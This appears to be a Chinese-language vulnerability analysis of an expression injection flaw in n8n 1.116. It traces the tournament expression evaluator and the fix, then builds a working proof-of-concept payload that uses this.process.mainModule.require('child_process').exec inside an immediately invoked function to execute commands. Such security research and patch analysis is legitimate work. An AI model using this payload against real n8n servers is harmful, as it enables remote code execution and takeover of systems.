环境安装

本人使用的是1.116版本的n8n https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0

直接运行pnpm install 会报错,先运行git init ,再执行pnpm install,pnpm build

首先根据漏洞通告,漏洞类型为表达式注入漏洞

查看官方文档

基于tournament解析表达式,支持执行JavaScript代码

本地测试一下tournament如何使用

pnpm add @n8n/tournament

表达式中this指向的为传入的data的值

tournament.execute执行表达式的过程

进入execute

进入evaluate

构建函数

在n8n中data在fn.call的时候调用了,在this.getFunction(expr)中跟data没有关系

传入个this试一下,可以看见this指向的是全局,而非上下文

={{this}}

查看补丁

https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79

补丁增加了before: [FunctionThisSanitizer],一个前置检查函数以及三个Property:mainModule,binding,_load

开始调试,使用isSafeObjectProperty对属性值进行检查,只检查了__proto__,prototype,constructor,getPrototypeof

于是我们可以用this.process.mainModule来加载外部模块

构建测试代码{{this.process.mainModule.require('child_process').exec('calc.exe');}}

手动导入一下,发现是可以成功导入的

那么如何让try{}中的代码立即执行呢,答案是Nodejs立即执行函数,类似于下面的

const anonymous = (function() {
    var global = {};
    
    return function(data) {
   
        return ["=", function(v) {
            try {
                console.log('1');
                v = (function() {
                    console.log('2');
                  })();
            } catch (e) {
            }
            console.log('3');
            return v || v === 0 || v === false ? v : "";
        }.call(data)].join("");
    };
});

const result = anonymous()({});

构造表达式

={{(function(){ return this.process.mainModule.require('child_process').exec('calc.exe') })();}}

成功执行命令